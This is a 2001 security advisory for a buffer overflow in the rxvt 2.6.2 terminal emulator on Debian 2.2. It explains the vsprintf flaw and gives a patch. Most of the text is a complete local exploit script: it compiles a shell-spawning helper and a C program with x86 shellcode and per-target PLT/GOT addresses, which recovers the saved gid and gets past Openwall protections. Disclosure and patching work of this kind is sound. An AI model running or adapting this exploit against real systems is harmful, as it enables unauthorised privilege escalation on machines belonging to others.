Rxvt vulnerability

2001-06-16T00:00:00
ID SECURITYVULNS:DOC:1728
Type securityvulns
Reporter Securityvulns
Modified 2001-06-16T00:00:00

Description

RXVT Vulnerability


Samuel "Zorgon" Dralet <samuel.dralet@mastersecurity.fr>

Date : 2001/06/05 Vulnerable system : rxvt 2.6.2 on Debian Linux 2.2

Table of contents

  1. Overview
  2. Solutions
  3. Exploit
  4. Upgrade
  5. Code

-------{ 1. Overview

> Rxvt is a heavily modified version of xvt. Xvt is an X terminal-emulator > that is designed to be more or less compatible with xterm while using much > less swap space.

The latest rxvt versions are available via the web at:

http://www.rxvt.org

Versions 2.6.2 contain a buffer overflow vulnerability. As rxvt is installed setgid utmp on Debian 2.2, an attacker might be able to successfully exploit this vulnerability and gain special privileges on the local system.

-------{ 2. Solution

Status vendor : contacted two weeks ago but no response.

Remove the setgid bit from rxvt or apply this patch:

command.c Mon Jun 4 23:13:34 2001 --- command.patch.c Mon Jun 4 23:15:11 2001 ** 2378,2384 *** unsigned char buf[256];

  va_start(arg_ptr, fmt);

! vsprintf(buf, fmt, arg_ptr); va_end(arg_ptr); tt_write(buf, strlen(buf)); } --- 2378,2384 ---- unsigned char buf[256];

  va_start(arg_ptr, fmt);

! vsnprintf(buf, sizeof(buf), fmt, arg_ptr); va_end(arg_ptr); tt_write(buf, strlen(buf)); }

-------{ 3. Exploit

The program described here exploits the buffer overflow vulnerability present in the command.c file:

> tt_printf("\033]l%s\033\\", s ? s : "");

with tt_printf() :

void tt_printf(const char *fmt,...) { int i; va_list arg_ptr; unsigned char buf[256];

va_start(arg_ptr, fmt);
vsprintf(buf, fmt, arg_ptr);
va_end(arg_ptr);
tt_write(buf, strlen(buf));

}

's' is a string provided to rxvt by the user thanks to the '-T' option. Another option '-name' is also vulnerable. Rxvt supports the main escape sequences, so when a user types the sequence 'echo -ne "\033[21t"', the window title will be displayed to stdout. If this user supplies a title with more than 256 caracters, rxvt will do a segmentation fault.

This vulnerability is a classic buffer overflow besides several details. At first, rxvt drops permissions at once in main.c but in an incorrect way. It's then possible to recover the permissions via the saved gid, which is done very well by the shellcode.

After having written the first version of exploit, /bin/sh was started well but terminated before a prompt was returned to the user. In fact, Rxvt closes stdin and stdout before opening the window. It has thus been necessary to write a program which recovers the name of the tty (thanks to stderr which is always open), which opens again stdin and stdout, and which runs then /bin/sh. This program '/tmp/xx' is run by the shellcode.

The exploit should work against systems protected with the Linux Kernel patch from the Openwall Project. The idea is to copy the shellcode to the GOT that is executable. The current version successfully exploits rxvt on Debian Linux 2.2 system (rxvt version 2.6.2)

-------{ 4. Upgrade

To add some platforms, you must give three parameters :

1) path of binary

2) entry in the PLT strcpy

$objdump -T /path/to/filename | grep strcpy 0804add0 DF UND 00000020 GLIBC_2.0 strcpy ^^^^^^^^

3) entry in the GOT strcpy

$objdump -R /path/to/filename | grep strcpy 0805c964 R_386_JUMP_SLOT strcpy ^^^^^^^^

-------{ 5. Code

!/bin/sh

MasterSecuritY <www.mastersecurity.fr>

xrxvt.sh - Local exploit for xrxvt 2.6.2

Copyright (C) 2001 Michel "MaXX" Kaempf <maxx@mastersecurity.fr>

Copyright (C) 2001 Samuel "Zorgon" Dralet <samuel.dralet@mastersecurity.fr>

This program is free software; you can redistribute it and/or modify

it under the terms of the GNU General Public License as published by

the Free Software Foundation; either version 2 of the License, or (at

your option) any later version.

This program is distributed in the hope that it will be useful,

but WITHOUT ANY WARRANTY; without even the implied warranty of

MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU

General Public License for more details.

You should have received a copy of the GNU General Public License

along with this program; if not, write to the Free Software

Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307

USA

echo "rxvt-2.6.2 exploit for Linux Debian 2.2" echo "Which target :" echo -e "\t0. rxvt 2.6.2 (package deb) on Debian 2.2" echo -e "\t1. rxvt 2.6.2 (tarball) on Debian 2.2" echo echo -n "target : "

read TARGET

cat > /tmp/xx.c <<EOF

include <unistd.h>

include <sys/types.h>

include <sys/stat.h>

include <fcntl.h>

int main() { char * p_ttyname; char * argv[] = { "/bin/sh", NULL };

    p_ttyname = ttyname&#40; STDERR_FILENO &#41;;
    if &#40; p_ttyname == NULL &#41; {
            return&#40; -1 &#41;;
    }
    if &#40; open&#40;p_ttyname, O_RDONLY&#41; != STDIN_FILENO &#41; {
            return&#40; -1 &#41;;
    }
    if &#40; open&#40;p_ttyname, O_WRONLY&#41; != STDOUT_FILENO &#41; {
            return&#40; -1 &#41;;
    }

    execve&#40; argv[0], argv, NULL &#41;;
    return&#40; -1 &#41;;

} EOF gcc -o /tmp/xx /tmp/xx.c rm -f /tmp/xx.c

cat > /tmp/xrxvt.c << EOF

include <stdio.h>

include <string.h>

include <unistd.h>

include <X11/X.h>

include <X11/Xlib.h>

define BUF 256 / buffer size /

define EBP 4

define EIP 4

define ESC 3 / alignment /

define GID "\x2b"

define DISPLAY ":0"

define STACK ( 0xc0000000 - 4 )

Display *d;

char shellcode[] = / setregid( -1, GID ); / "\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1"GID"\x31\xc0\xb0\x47\xcd\x80" / setregid( GID, GID ); / "\x31\xdb\x31\xc9\xb3"GID"\xb1"GID"\x31\xc0\xb0\x47\xcd\x80" / Aleph One ;) / "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/tmp/xx";

struct os { int id; char desc; char path; unsigned long plt; unsigned long got; };

struct os target[]= { { 0, "rxvt 2.6.2 (package deb) on Debian 2.2", "/usr/X11R6/bin/rxvt-xterm", 0x0804add0, 0x0805c964 }, { 1, "rxvt 2.6.2 (tarball) on Debian 2.2", "/usr/local/bin/rxvt", 0x0804a690, 0x08059e1c }, { 2, NULL, 0, 0 } };

void usage ( char *cmd ) { int i; fprintf(stderr, "rxvt-2.6.2 exploit for Linux Debian 2.2\n"); fprintf(stderr, "usage: %s <target>\n",cmd); fprintf(stderr, "with target:\n\n"); for( i < 0; i < sizeof(target) / sizeof(struct os); i++ ) fprintf(stderr, "%d. %s\n", i, target[i].desc);

exit&#40; -1 &#41;;

}

int main(int argc, char argv[]) { char buffer[ BUF - ESC + EBP + EIP + 12 + 1]; char * exec_argv[] = { NULL, "-T", buffer, NULL }; char * envp[] = { shellcode, NULL }; int i, t; char path;

if &#40; argc != 2 &#41;
    usage&#40;argv[0]&#41;;

t = atoi&#40;argv[1]&#41;;
if&#40; t &lt; 0 || t &gt;= sizeof&#40;target&#41; / sizeof&#40;struct os&#41; &#41;
    usage&#40; argv[0] &#41;;

path = &#40;char *&#41;malloc&#40;strlen&#40;target[t].path&#41;+1&#41;;    
strcpy&#40;path,target[t].path&#41;;

if &#40; &#40;d = XOpenDisplay&#40;DISPLAY&#41;&#41; == NULL &#41;{
    fprintf&#40;stderr, &quot;Unable to open display: &#37;s&#92;n&quot;, DISPLAY&#41;;
    exit&#40;10&#41;;
}

for &#40; i = 0; i &lt; BUF - ESC + EBP; i++ &#41; {
    buffer[ i ] = &#39;A&#39;;
}

*&#40; &#40;size_t *&#41; &amp;&#40;buffer[i]&#41; &#41; = target[t].plt;
i += sizeof&#40;size_t&#41;;
*&#40; &#40;size_t *&#41; &amp;&#40;buffer[i]&#41; &#41; = target[t].got + 4;
i += sizeof&#40;size_t&#41;;
*&#40; &#40;size_t *&#41; &amp;&#40;buffer[i]&#41; &#41; = target[t].got + 4;
i += sizeof&#40;size_t&#41;;
*&#40; &#40;size_t *&#41; &amp;&#40;buffer[i]&#41; &#41; = STACK - &#40;strlen&#40;path&#41; + 1&#41; - sizeof&#40;shellcode&#41;; 
i += sizeof&#40;size_t&#41;;

buffer[i] = &#39;&#92;0&#39;;

exec_argv[0] = path;
execve&#40; exec_argv[0], exec_argv, envp &#41;;
return&#40; -1 &#41;;

} EOF gcc -o /tmp/xrxvt /tmp/xrxvt.c -lX11 rm -f /tmp/xrxvt.c

echo "Go to rxvt window and type 'echo -ne \"\033[21t\"' ..." echo "And see ..." /tmp/xrxvt $TARGET